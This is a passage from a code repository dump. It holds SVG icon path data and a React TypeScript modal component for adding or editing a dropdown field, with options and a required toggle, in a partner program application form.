70.5019 66.6042 70.7102C66.403 70.9162 66.1544 71.0772 65.8585 71.1932C65.5626 71.3068 65.2299 71.3636 64.8606 71.3636ZM69.2321 67.9688V71.25H68.394V65.7955H69.2037V66.6477H69.2747C69.4025 66.3707 69.5967 66.1482 69.8571 65.9801C70.1175 65.8097 70.4537 65.7244 70.8656 65.7244C71.2349 65.7244 71.5581 65.8002 71.835 65.9517C72.112 66.1009 72.3275 66.3281 72.4814 66.6335C72.6352 66.9366 72.7122 67.3201 72.7122 67.7841V71.25H71.8741V67.8409C71.8741 67.4124 71.7628 67.0786 71.5403 66.8395C71.3178 66.598 71.0124 66.4773 70.6241 66.4773C70.3566 66.4773 70.1175 66.5353 69.9068 66.6513C69.6984 66.7673 69.5339 66.9366 69.4132 67.1591C69.2924 67.3816 69.2321 67.6515 69.2321 67.9688Z\"\n        fill=\"#262626\"\n      />\n      <path\n        d=\"M99.5 29.25C101.571 29.25 103.25 30.9289 103.25 33C103.25 35.0711 101.571 36.75 99.5 36.75C97.4289 36.75 95.75 35.0711 95.75 33C95.75 30.9289 97.4289 29.25 99.5 29.25Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M99.5 29.25C101.571 29.25 103.25 30.9289 103.25 33C103.25 35.0711 101.571 36.75 99.5 36.75C97.4289 36.75 95.75 35.0711 95.75 33C95.75 30.9289 97.4289 29.25 99.5 29.25Z\"\n        stroke=\"#171717\"\n        strokeWidth=\"2.5\"\n      />\n      <path\n        d=\"M114.756 29.2273H115.764L117.781 32.6222H117.866L119.884 29.2273H120.892L118.264 33.5028V36.5H117.384V33.5028L114.756 29.2273ZM123.433 36.6136C122.907 36.6136 122.454 36.4976 122.073 36.2656C121.694 36.0312 121.402 35.7045 121.196 35.2855C120.992 34.8641 120.89 34.3741 120.89 33.8153C120.89 33.2566 120.992 32.7642 121.196 32.3381C121.402 31.9096 121.688 31.5758 122.055 31.3366C122.424 31.0952 122.855 30.9744 123.348 30.9744C123.632 30.9744 123.912 31.0218 124.189 31.1165C124.466 31.2112 124.718 31.3651 124.946 31.5781C125.173 31.7888 125.354 32.0682 125.489 32.4162C125.624 32.7642 125.691 33.1927 125.691 33.7017V34.0568H121.487V33.3324H124.839C124.839 33.0246 124.778 32.75 124.654 32.5085C124.534 32.267 124.361 32.0765 124.136 31.9368C123.913 31.7971 123.651 31.7273 123.348 31.7273C123.014 31.7273 122.725 31.8101 122.481 31.9759C122.24 32.1392 122.054 32.3523 121.924 32.6151C121.793 32.8778 121.728 33.1596 121.728 33.4602V33.9432C121.728 34.3551 121.799 34.7043 121.941 34.9908C122.086 35.2749 122.286 35.4915 122.542 35.6406C122.797 35.7874 123.094 35.8608 123.433 35.8608C123.653 35.8608 123.852 35.83 124.029 35.7685C124.209 35.7045 124.364 35.6098 124.495 35.4844C124.625 35.3565 124.725 35.1979 124.797 35.0085L125.606 35.2358C125.521 35.5104 125.378 35.7519 125.176 35.9602C124.975 36.1662 124.727 36.3272 124.431 36.4432C124.135 36.5568 123.802 36.6136 123.433 36.6136ZM130.83 32.267L130.077 32.4801C130.03 32.3546 129.96 32.2327 129.868 32.1143C129.778 31.9936 129.654 31.8942 129.498 31.8161C129.342 31.7379 129.142 31.6989 128.898 31.6989C128.564 31.6989 128.286 31.7758 128.064 31.9297C127.843 32.0812 127.733 32.2741 127.733 32.5085C127.733 32.7169 127.809 32.8814 127.961 33.0021C128.112 33.1229 128.349 33.2235 128.671 33.304L129.48 33.5028C129.968 33.6212 130.332 33.8023 130.571 34.0462C130.81 34.2876 130.929 34.599 130.929 34.9801C130.929 35.2926 130.839 35.572 130.659 35.8182C130.482 36.0644 130.233 36.2585 129.914 36.4006C129.594 36.5426 129.222 36.6136 128.799 36.6136C128.242 36.6136 127.782 36.4929 127.417 36.2514C127.053 36.0099 126.822 35.6572 126.725 35.1932L127.52 34.9943C127.596 35.2879 127.739 35.508 127.95 35.6548C128.163 35.8016 128.441 35.875 128.784 35.875C129.175 35.875 129.485 35.7921 129.715 35.6264C129.947 35.4583 130.063 35.2571 130.063 35.0227C130.063 34.8333 129.997 34.6747 129.864 34.5469C129.731 34.4167 129.528 34.3196 129.253 34.2557L128.344 34.0426C127.845 33.9242 127.478 33.7408 127.243 33.4922C127.011 33.2412 126.895 32.9276 126.895 32.5511C126.895 32.2434 126.982 31.9711 127.154 31.7344C127.33 31.4976 127.568 31.3118 127.868 31.1768C128.171 31.0419 128.515 30.9744 128.898 30.9744C129.438 30.9744 129.862 31.0928 130.169 31.3295C130.48 31.5663 130.7 31.8788 130.83 32.267Z\"\n        fill=\"#262626\"\n      />\n      <path\n        d=\"M99.5 45.3125C102.089 45.3125 104.188 47.4112 104.188 50C104.188 52.5888 102.089 54.6875 99.5 54.6875C96.9112 54.6875 94.8125 52.5888 94.8125 50C94.8125 47.4112 96.9112 45.3125 99.5 45.3125Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M99.5 45.3125C102.089 45.3125 104.188 47.4112 104.188 50C104.188 52.5888 102.089 54.6875 99.5 54.6875C96.9112 54.6875 94.8125 52.5888 94.8125 50C94.8125 47.4112 96.9112 45.3125 99.5 45.3125Z\"\n        stroke=\"#A1A1A1\"\n        strokeWidth=\"0.625\"\n      />\n      <path\n        d=\"M121.148 46.2273V53.5H120.295L116.332 47.7898H116.261V53.5H115.381V46.2273H116.233L120.21 51.9517H120.281V46.2273H121.148ZM125.012 53.6136C124.52 53.6136 124.088 53.4964 123.716 53.2621C123.347 53.0277 123.058 52.6998 122.85 52.2784C122.644 51.857 122.541 51.3646 122.541 50.8011C122.541 50.233 122.644 49.737 122.85 49.3132C123.058 48.8894 123.347 48.5604 123.716 48.326C124.088 48.0916 124.52 47.9744 125.012 47.9744C125.505 47.9744 125.936 48.0916 126.305 48.326C126.677 48.5604 126.965 48.8894 127.171 49.3132C127.38 49.737 127.484 50.233 127.484 50.8011C127.484 51.3646 127.38 51.857 127.171 52.2784C126.965 52.6998 126.677 53.0277 126.305 53.2621C125.936 53.4964 125.505 53.6136 125.012 53.6136ZM125.012 52.8608C125.386 52.8608 125.694 52.7649 125.936 52.5732C126.177 52.3814 126.356 52.1293 126.472 51.8168C126.588 51.5043 126.646 51.1657 126.646 50.8011C126.646 50.4366 126.588 50.0968 126.472 49.782C126.356 49.4671 126.177 49.2126 125.936 49.0185C125.694 48.8243 125.386 48.7273 125.012 48.7273C124.638 48.7273 124.33 48.8243 124.089 49.0185C123.847 49.2126 123.669 49.4671 123.553 49.782C123.437 50.0968 123.379 50.4366 123.379 50.8011C123.379 51.1657 123.437 51.5043 123.553 51.8168C123.669 52.1293 123.847 52.3814 124.089 52.5732C124.33 52.7649 124.638 52.8608 125.012 52.8608Z\"\n        fill=\"#262626\"\n      />\n      <path\n        d=\"M99.5 62.3125C102.089 62.3125 104.188 64.4112 104.188 67C104.188 69.5888 102.089 71.6875 99.5 71.6875C96.9112 71.6875 94.8125 69.5888 94.8125 67C94.8125 64.4112 96.9112 62.3125 99.5 62.3125Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M99.5 62.3125C102.089 62.3125 104.188 64.4112 104.188 67C104.188 69.5888 102.089 71.6875 99.5 71.6875C96.9112 71.6875 94.8125 69.5888 94.8125 67C94.8125 64.4112 96.9112 62.3125 99.5 62.3125Z\"\n        stroke=\"#A1A1A1\"\n        strokeWidth=\"0.625\"\n      />\n      <path\n        d=\"M115.381 63.2273H116.432L118.903 69.2642H118.989L121.46 63.2273H122.511V70.5H121.688V64.9744H121.616L119.344 70.5H118.548L116.276 64.9744H116.205V70.5H115.381V63.2273ZM125.769 70.6278C125.423 70.6278 125.109 70.5627 124.828 70.4325C124.546 70.3 124.322 70.1094 124.156 69.8608C123.991 69.6098 123.908 69.3068 123.908 68.9517C123.908 68.6392 123.969 68.3859 124.093 68.1918C124.216 67.9953 124.38 67.8414 124.586 67.7301C124.792 67.6188 125.019 67.536 125.268 67.4815C125.519 67.4247 125.771 67.3797 126.024 67.3466C126.356 67.304 126.624 67.272 126.83 67.2507C127.039 67.227 127.19 67.188 127.285 67.1335C127.382 67.0791 127.431 66.9844 127.431 66.8494V66.821C127.431 66.4706 127.335 66.1984 127.143 66.0043C126.954 65.8101 126.666 65.7131 126.28 65.7131C125.88 65.7131 125.566 65.8007 125.339 65.9759C125.112 66.151 124.952 66.3381 124.86 66.5369L124.064 66.2528C124.206 65.9214 124.396 65.6634 124.632 65.4787C124.871 65.2917 125.132 65.1615 125.414 65.0881C125.698 65.0123 125.977 64.9744 126.252 64.9744C126.427 64.9744 126.628 64.9957 126.855 65.0384C127.085 65.0786 127.306 65.1626 127.519 65.2905C127.735 65.4183 127.914 65.6113 128.056 65.8693C128.198 66.1274 128.269 66.473 128.269 66.9062V70.5H127.431V69.7614H127.388C127.331 69.8797 127.236 70.0064 127.104 70.1413C126.971 70.2763 126.795 70.3911 126.575 70.4858C126.355 70.5805 126.086 70.6278 125.769 70.6278ZM125.896 69.875C126.228 69.875 126.507 69.8099 126.735 69.6797C126.964 69.5495 127.137 69.3814 127.253 69.1754C127.371 68.9695 127.431 68.7528 127.431 68.5256V67.7585C127.395 67.8011 127.317 67.8402 127.196 67.8757C127.078 67.9089 126.941 67.9384 126.784 67.9645C126.63 67.9882 126.48 68.0095 126.333 68.0284C126.189 68.045 126.072 68.0592 125.982 68.071C125.764 68.0994 125.56 68.1456 125.371 68.2095C125.184 68.2711 125.032 68.3646 124.916 68.4901C124.803 68.6132 124.746 68.7812 124.746 68.9943C124.746 69.2855 124.854 69.5057 125.069 69.6548C125.287 69.8016 125.563 69.875 125.896 69.875ZM130.143 72.5455C130.001 72.5455 129.874 72.5336 129.763 72.5099C129.652 72.4886 129.575 72.4673 129.532 72.446L129.745 71.7074C129.949 71.7595 130.129 71.7784 130.285 71.7642C130.441 71.75 130.58 71.6802 130.7 71.5547C130.823 71.4316 130.936 71.2315 131.038 70.9545L131.194 70.5284L129.177 65.0455H130.086L131.592 69.392H131.648L133.154 65.0455H134.063L131.748 71.2955C131.644 71.5772 131.515 71.8104 131.361 71.995C131.207 72.1821 131.028 72.3205 130.825 72.4105C130.623 72.5005 130.396 72.5455 130.143 72.5455ZM135.283 70.5V63.2273H136.121V65.9119H136.192C136.254 65.8172 136.339 65.6965 136.448 65.5497C136.559 65.4006 136.718 65.268 136.924 65.152C137.132 65.0336 137.414 64.9744 137.769 64.9744C138.228 64.9744 138.633 65.0893 138.983 65.3189C139.334 65.5485 139.607 65.8741 139.804 66.2955C140 66.7169 140.098 67.214 140.098 67.7869C140.098 68.3646 140 68.8653 139.804 69.2891C139.607 69.7105 139.335 70.0372 138.987 70.2692C138.639 70.4988 138.238 70.6136 137.783 70.6136C137.433 70.6136 137.152 70.5556 136.941 70.4396C136.731 70.3213 136.569 70.1875 136.455 70.0384C136.341 69.8868 136.254 69.7614 136.192 69.6619H136.093V70.5H135.283ZM136.107 67.7727C136.107 68.1847 136.167 68.5481 136.288 68.8629C136.409 69.1754 136.585 69.4205 136.817 69.598C137.049 69.7732 137.333 69.8608 137.669 69.8608C138.02 69.8608 138.312 69.7685 138.547 69.5838C138.783 69.3968 138.961 69.1458 139.079 68.831C139.2 68.5137 139.26 68.161 139.26 67.7727C139.26 67.3892 139.201 67.0436 139.083 66.7358C138.967 66.4257 138.79 66.1806 138.554 66.0007C138.319 65.8184 138.025 65.7273 137.669 65.7273C137.328 65.7273 137.042 65.8137 136.81 65.9865C136.578 66.157 136.403 66.3961 136.284 66.7038C136.166 67.0092 136.107 67.3655 136.107 67.7727ZM143.667 70.6136C143.142 70.6136 142.688 70.4976 142.307 70.2656C141.928 70.0312 141.636 69.7045 141.43 69.2855C141.226 68.8641 141.125 68.3741 141.125 67.8153C141.125 67.2566 141.226 66.7642 141.43 66.3381C141.636 65.9096 141.922 65.5758 142.289 65.3366C142.659 65.0952 143.09 64.9744 143.582 64.9744C143.866 64.9744 144.147 65.0218 144.424 65.1165C144.701 65.2112 144.953 65.3651 145.18 65.5781C145.407 65.7888 145.588 66.0682 145.723 66.4162C145.858 66.7642 145.926 67.1927 145.926 67.7017V68.0568H141.721V67.3324H145.074C145.074 67.0246 145.012 66.75 144.889 66.5085C144.768 66.267 144.595 66.0765 144.37 65.9368C144.148 65.7971 143.885 65.7273 143.582 65.7273C143.248 65.7273 142.959 65.8101 142.716 65.9759C142.474 66.1392 142.288 66.3523 142.158 66.6151C142.028 66.8778 141.963 67.1596 141.963 67.4602V67.9432C141.963 68.3551 142.034 68.7043 142.176 68.9908C142.32 69.2749 142.52 69.4915 142.776 69.6406C143.032 69.7874 143.329 69.8608 143.667 69.8608C143.887 69.8608 144.086 69.83 144.264 69.7685C144.444 69.7045 144.599 69.6098 144.729 69.4844C144.859 69.3565 144.96 69.1979 145.031 69.0085L145.841 69.2358C145.755 69.5104 145.612 69.7519 145.411 69.9602C145.21 70.1662 144.961 70.3272 144.665 70.4432C144.369 70.5568 144.037 70.6136 143.667 70.6136Z\"\n        fill=\"#262626\"\n      />\n      <defs>\n        <clipPath id=\"clip0_2001_4158\">\n          <rect\n            width=\"6.25\"\n            height=\"6.25\"\n            fill=\"white\"\n            transform=\"translate(26.875 29.125)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip1_2001_4158\">\n          <rect\n            width=\"6.25\"\n            height=\"6.25\"\n            fill=\"white\"\n            transform=\"translate(26.875 64.625)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/select-field-modal.tsx",
    "content": "\"use client\";\n\nimport { programApplicationFormSelectFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { EditList, EditListItem } from \"@/ui/partners/groups/design/edit-list\";\nimport {\n  Button,\n  Modal,\n  Switch,\n  useMediaQuery,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useId, useRef } from \"react\";\nimport { Controller, FormProvider, useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\ntype SelectFieldData = z.infer<typeof programApplicationFormSelectFieldSchema>;\n\ntype SelectFieldModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<SelectFieldData>;\n  onSubmit: (data: SelectFieldData) => void;\n};\n\nexport function SelectFieldModal(props: SelectFieldModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <SelectFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction SelectFieldModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: SelectFieldModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n\n  const form = useForm<SelectFieldData>({\n    defaultValues: defaultValues ?? {\n      id: uuid(),\n      type: \"select\",\n      label: \"\",\n      required: false,\n      data: {\n        options: [\n          {\n            id: uuid(),\n            value: \"\",\n          },\n        ],\n      },\n    },\n  });\n\n  const {\n    handleSubmit,\n    register,\n    watch,\n    setValue,\n    setError,\n    clearErrors,\n    getValues,\n    formState: { errors },\n    control,\n  } = form;\n\n  const fields = watch(\"data.options\");\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  return (\n    <FormProvider {...form}>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} dropdown\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              if (data.data.options.length < 2) {\n                setError(\"data.options\", {\n                  type: \"manual\",\n                  message: \"Requires minimum of 2 options\",\n                });\n                return;\n              }\n\n              setShowModal(false);\n              onSubmit(data);\n            })(e);\n          }}\n        >\n          {/* Label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.label &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"label\", { required: true })}\n              />\n            </div>\n          </div>\n\n          {/* Required */}\n          <div>\n            <Controller\n              name=\"required\"\n              control={control}\n              render={({ field }) => (\n                <label\n                  className=\"flex items-center justify-between gap-1.5\"\n                  htmlFor={`${id}-required`}\n                >\n                  <span className=\"text-sm font-medium text-neutral-700\">\n                    Required\n                  </span>\n                  <Switch\n                    id={`${id}-required`}\n                    checked={field.value}\n                    fn={field.onChange}\n                    trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                    thumbDimensions=\"size-3\"\n                    thumbTranslate=\"translate-x-3\"\n                  />\n                </label>\n              )}\n            />\n          </div>\n\n          <div>\n            <label\n              htmlFor={`${id}-options`}\n              className=\"mb-2 flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Options\n            </label>\n\n            <div className=\"relative -my-2\">\n              <div\n                ref={scrollRef}\n                onScroll={updateScrollProgress}\n                className=\"scrollbar-hide relative max-h-[calc(100vh-300px)] overflow-y-auto py-2\"\n              >\n                <EditList\n                  values={fields.map(({ id }) => id)}\n                  addButtonLabel=\"Add option\"\n                  onAdd={() => {\n                    const id = uuid();\n\n                    const newOptions = [\n                      ...fields,\n                      {\n                        id,\n                        value: \"\",\n                      },\n                    ];\n\n                    setValue(\"data.options\", newOptions, { shouldDirty: true });\n\n                    if (newOptions.length >= 2) {\n                      clearErrors(\"data.options\");\n                    }\n\n                    return id;\n                  }}\n                  onReorder={(updated) =>\n                    setValue(\n                      \"data.options\",\n                      updated.map((id) => fields.find((f) => f.id === id)!),\n                      { shouldDirty: true },\n                    )\n                  }\n                >\n                  {fields.map((field, index) => {\n                    const error = errors.data?.options?.[index]?.value;\n\n                    return (\n                      <EditListItem\n                        key={field.id}\n                        value={field.id}\n                        error={!!error?.message}\n                        className={cn(\n                          !error && \"focus-within:border-neutral-500\",\n                        )}\n                        title={\n                          <input\n                            id={`${id}-${field.id}-name`}\n                            type=\"text\"\n                            placeholder=\"Option\"\n                            className={cn(\n                              \"my-1 block w-full rounded-md border-transparent bg-transparent py-1 text-sm text-neutral-900 placeholder-neutral-400 focus:border-transparent focus:outline-none focus:ring-0\",\n                            )}\n                            {...register(`data.options.${index}.value`, {\n                              required: \"Value is required\",\n                            })}\n                          />\n                        }\n                        onRemove={\n                          fields.length > 1\n                            ? () =>\n                                setValue(\n                                  \"data.options\",\n                                  fields.filter(({ id }) => id !== field.id),\n                                  { shouldDirty: true },\n                                )\n                            : undefined\n                        }\n                      />\n                    );\n                  })}\n                </EditList>\n              </div>\n\n              {/* Bottom scroll fade */}\n              <div\n                className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n                style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n              />\n            </div>\n          </div>\n\n          <div className=\"flex items-center justify-between gap-2\">\n            <div>\n              {errors.data?.options?.message && (\n                <span className=\"text-xs text-red-600 dark:text-red-400\">\n                  {errors.data?.options?.message}\n                </span>\n              )}\n            </div>\n            <div className=\"flex items-center gap-2\">\n              <Button\n                onClick={() => setShowModal(false)}\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-8 w-fit px-3\"\n              />\n              <Button\n                type=\"submit\"\n                variant=\"primary\"\n                text={defaultValues ? \"Update\" : \"Add\"}\n                className=\"h-8 w-fit px-3\"\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </FormProvider>\n  );\n}\n\nexport function SelectFieldThumbnail() {\n  return (\n    <svg\n      width=\"168\"\n      height=\"100\"\n      viewBox=\"0 0 168 100\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <path\n        d=\"M22.7457 37V30.2121H26.955V31.0937H23.7699V33.1619H26.6534V34.0402H23.7699V37H22.7457ZM29.5982 37.1127C29.2756 37.1127 28.984 37.053 28.7232 36.9337C28.4625 36.8122 28.2559 36.6365 28.1035 36.4067C27.9532 36.1769 27.8781 35.8952 27.8781 35.5616C27.8781 35.2743 27.9333 35.0379 28.0438 34.8523C28.1543 34.6667 28.3034 34.5197 28.4912 34.4115C28.6791 34.3032 28.889 34.2214 29.121 34.1662C29.353 34.111 29.5894 34.069 29.8303 34.0402C30.1352 34.0049 30.3827 33.9762 30.5727 33.9541C30.7627 33.9298 30.9008 33.8911 30.987 33.8381C31.0732 33.785 31.1162 33.6989 31.1162 33.5795V33.5563C31.1162 33.2669 31.0345 33.0426 30.871 32.8835C30.7097 32.7244 30.4688 32.6449 30.1484 32.6449C29.8148 32.6449 29.5518 32.7189 29.3596 32.867C29.1696 33.0128 29.0381 33.1752 28.9652 33.3542L28.0339 33.142C28.1443 32.8327 28.3056 32.583 28.5178 32.393C28.7321 32.2008 28.9785 32.0616 29.2569 31.9754C29.5353 31.887 29.828 31.8428 30.1352 31.8428C30.3385 31.8428 30.5539 31.8671 30.7815 31.9157C31.0113 31.9621 31.2256 32.0483 31.4245 32.1742C31.6256 32.3002 31.7902 32.4803 31.9183 32.7145C32.0465 32.9465 32.1106 33.2481 32.1106 33.6193V37H31.1428V36.304H31.103C31.0389 36.4321 30.9428 36.5581 30.8146 36.6818C30.6865 36.8056 30.5219 36.9083 30.3208 36.9901C30.1197 37.0718 29.8789 37.1127 29.5982 37.1127ZM29.8137 36.3172C30.0877 36.3172 30.3219 36.2631 30.5163 36.1548C30.713 36.0466 30.8621 35.9051 30.9638 35.7306C31.0676 35.5538 31.1196 35.3649 31.1196 35.1638V34.5076C31.0842 34.5429 31.0157 34.5761 30.9141 34.607C30.8146 34.6357 30.7008 34.6611 30.5727 34.6832C30.4445 34.7031 30.3197 34.7219 30.1982 34.7396C30.0766 34.7551 29.975 34.7683 29.8932 34.7794C29.701 34.8037 29.5253 34.8445 29.3662 34.902C29.2094 34.9594 29.0834 35.0423 28.9884 35.1506C28.8956 35.2566 28.8492 35.398 28.8492 35.5748C28.8492 35.8201 28.9398 36.0057 29.121 36.1316C29.3022 36.2554 29.5331 36.3172 29.8137 36.3172ZM37.2454 33.152L36.3472 33.3111C36.3096 33.1962 36.25 33.0868 36.1682 32.983C36.0887 32.8791 35.9804 32.794 35.8434 32.7277C35.7064 32.6615 35.5352 32.6283 35.3297 32.6283C35.049 32.6283 34.8148 32.6913 34.627 32.8172C34.4392 32.941 34.3453 33.1012 34.3453 33.2978C34.3453 33.468 34.4083 33.605 34.5342 33.7088C34.6602 33.8127 34.8634 33.8977 35.1441 33.964L35.9528 34.1496C36.4212 34.2579 36.7703 34.4247 37.0001 34.6501C37.2299 34.8755 37.3448 35.1682 37.3448 35.5284C37.3448 35.8333 37.2564 36.1051 37.0797 36.3437C36.9051 36.5802 36.6609 36.7658 36.3472 36.9006C36.0356 37.0354 35.6744 37.1027 35.2634 37.1027C34.6933 37.1027 34.2282 36.9812 33.868 36.7382C33.5079 36.4929 33.2869 36.1449 33.2051 35.6941L34.163 35.5483C34.2227 35.798 34.3453 35.9869 34.5309 36.1151C34.7165 36.241 34.9585 36.304 35.2567 36.304C35.5816 36.304 35.8412 36.2366 36.0356 36.1018C36.2301 35.9648 36.3273 35.798 36.3273 35.6013C36.3273 35.4422 36.2676 35.3086 36.1483 35.2003C36.0312 35.092 35.8511 35.0103 35.6081 34.955L34.7463 34.7661C34.2713 34.6578 33.9199 34.4855 33.6924 34.2491C33.467 34.0126 33.3543 33.7132 33.3543 33.3509C33.3543 33.0503 33.4383 32.7874 33.6062 32.562C33.7741 32.3366 34.0061 32.161 34.3022 32.035C34.5983 31.9069 34.9375 31.8428 35.3197 31.8428C35.8699 31.8428 36.303 31.9621 36.619 32.2008C36.9349 32.4372 37.1437 32.7543 37.2454 33.152ZM40.8108 31.9091V32.7045H38.0301V31.9091H40.8108ZM38.7758 30.6894H39.7668V35.5052C39.7668 35.6974 39.7955 35.8422 39.853 35.9394C39.9104 36.0344 39.9845 36.0996 40.075 36.1349C40.1679 36.1681 40.2684 36.1847 40.3767 36.1847C40.4562 36.1847 40.5258 36.1791 40.5855 36.1681C40.6451 36.157 40.6915 36.1482 40.7247 36.1416L40.9036 36.9602C40.8462 36.9823 40.7644 37.0044 40.6584 37.0265C40.5523 37.0508 40.4197 37.0641 40.2607 37.0663C39.9999 37.0707 39.7569 37.0243 39.5315 36.9271C39.3061 36.8299 39.1238 36.6796 38.9846 36.4763C38.8454 36.273 38.7758 36.0178 38.7758 35.7107V30.6894ZM44.0465 37.1027C43.5449 37.1027 43.113 36.9956 42.7506 36.7812C42.3904 36.5647 42.112 36.2609 41.9154 35.8698C41.7209 35.4765 41.6237 35.0158 41.6237 34.4877C41.6237 33.9662 41.7209 33.5066 41.9154 33.1089C42.112 32.7112 42.386 32.4007 42.7373 32.1776C43.0909 31.9544 43.5041 31.8428 43.9769 31.8428C44.2642 31.8428 44.5426 31.8903 44.8121 31.9853C45.0817 32.0803 45.3237 32.2295 45.538 32.4328C45.7523 32.636 45.9214 32.9001 46.0451 33.2249C46.1688 33.5475 46.2307 33.9397 46.2307 34.4015V34.7528H42.1838V34.0104H45.2596C45.2596 33.7497 45.2066 33.5188 45.1005 33.3177C44.9944 33.1144 44.8453 32.9542 44.6531 32.8371C44.463 32.72 44.2399 32.6615 43.9835 32.6615C43.7051 32.6615 43.4621 32.73 43.2544 32.867C43.0489 33.0017 42.8898 33.1785 42.7771 33.3973C42.6666 33.6138 42.6114 33.8491 42.6114 34.1032V34.6832C42.6114 35.0235 42.671 35.313 42.7904 35.5516C42.9119 35.7902 43.0809 35.9725 43.2975 36.0985C43.514 36.2222 43.767 36.2841 44.0565 36.2841C44.2443 36.2841 44.4155 36.2576 44.5702 36.2045C44.7249 36.1493 44.8585 36.0676 44.9712 35.9593C45.0839 35.851 45.1701 35.7173 45.2298 35.5582L46.1677 35.7273C46.0926 36.0035 45.9578 36.2454 45.7634 36.4531C45.5711 36.6586 45.3292 36.8188 45.0375 36.9337C44.7481 37.0464 44.4177 37.1027 44.0465 37.1027ZM51.1451 33.152L50.2469 33.3111C50.2094 33.1962 50.1497 33.0868 50.0679 32.983C49.9884 32.8791 49.8801 32.794 49.7431 32.7277C49.6061 32.6615 49.4349 32.6283 49.2294 32.6283C48.9488 32.6283 48.7146 32.6913 48.5268 32.8172C48.3389 32.941 48.245 33.1012 48.245 33.2978C48.245 33.468 48.308 33.605 48.434 33.7088C48.5599 33.8127 48.7632 33.8977 49.0438 33.964L49.8525 34.1496C50.3209 34.2579 50.6701 34.4247 50.8999 34.6501C51.1297 34.8755 51.2446 35.1682 51.2446 35.5284C51.2446 35.8333 51.1562 36.1051 50.9794 36.3437C50.8048 36.5802 50.5607 36.7658 50.2469 36.9006C49.9354 37.0354 49.5741 37.1027 49.1631 37.1027C48.593 37.1027 48.1279 36.9812 47.7678 36.7382C47.4076 36.4929 47.1866 36.1449 47.1049 35.6941L48.0627 35.5483C48.1224 35.798 48.245 35.9869 48.4306 36.1151C48.6162 36.241 48.8582 36.304 49.1565 36.304C49.4813 36.304 49.7409 36.2366 49.9354 36.1018C50.1298 35.9648 50.227 35.798 50.227 35.6013C50.227 35.4422 50.1674 35.3086 50.0481 35.2003C49.931 35.092 49.7509 35.0103 49.5078 34.955L48.6461 34.7661C48.171 34.6578 47.8197 34.4855 47.5921 34.2491C47.3667 34.0126 47.254 33.7132 47.254 33.3509C47.254 33.0503 47.338 32.7874 47.5059 32.562C47.6738 32.3366 47.9059 32.161 48.2019 32.035C48.498 31.9069 48.8372 31.8428 49.2195 31.8428C49.7697 31.8428 50.2027 31.9621 50.5187 32.2008C50.8347 32.4372 51.0435 32.7543 51.1451 33.152ZM54.7106 31.9091V32.7045H51.9298V31.9091H54.7106ZM52.6755 30.6894H53.6666V35.5052C53.6666 35.6974 53.6953 35.8422 53.7527 35.9394C53.8102 36.0344 53.8842 36.0996 53.9748 36.1349C54.0676 36.1681 54.1681 36.1847 54.2764 36.1847C54.3559 36.1847 54.4255 36.1791 54.4852 36.1681C54.5449 36.157 54.5913 36.1482 54.6244 36.1416L54.8034 36.9602C54.7459 36.9823 54.6642 37.0044 54.5581 37.0265C54.4521 37.0508 54.3195 37.0641 54.1604 37.0663C53.8997 37.0707 53.6566 37.0243 53.4312 36.9271C53.2058 36.8299 53.0236 36.6796 52.8844 36.4763C52.7451 36.273 52.6755 36.0178 52.6755 35.7107V30.6894ZM60.4213 37.1027C59.9285 37.1027 59.5043 36.9912 59.1486 36.768C58.795 36.5426 58.5232 36.2322 58.3332 35.8366C58.1432 35.4411 58.0482 34.9882 58.0482 34.4777C58.0482 33.9607 58.1454 33.5044 58.3398 33.1089C58.5343 32.7112 58.8083 32.4007 59.1618 32.1776C59.5154 31.9544 59.9319 31.8428 60.4113 31.8428C60.798 31.8428 61.1427 31.9146 61.4454 32.0582C61.7481 32.1997 61.9923 32.3985 62.1779 32.6548C62.3657 32.9111 62.4773 33.2105 62.5127 33.553H61.5482C61.4951 33.3144 61.3736 33.1089 61.1836 32.9366C60.9958 32.7642 60.7439 32.678 60.4279 32.678C60.1517 32.678 59.9098 32.7509 59.7021 32.8968C59.4966 33.0404 59.3364 33.2459 59.2215 33.5133C59.1066 33.7784 59.0491 34.0922 59.0491 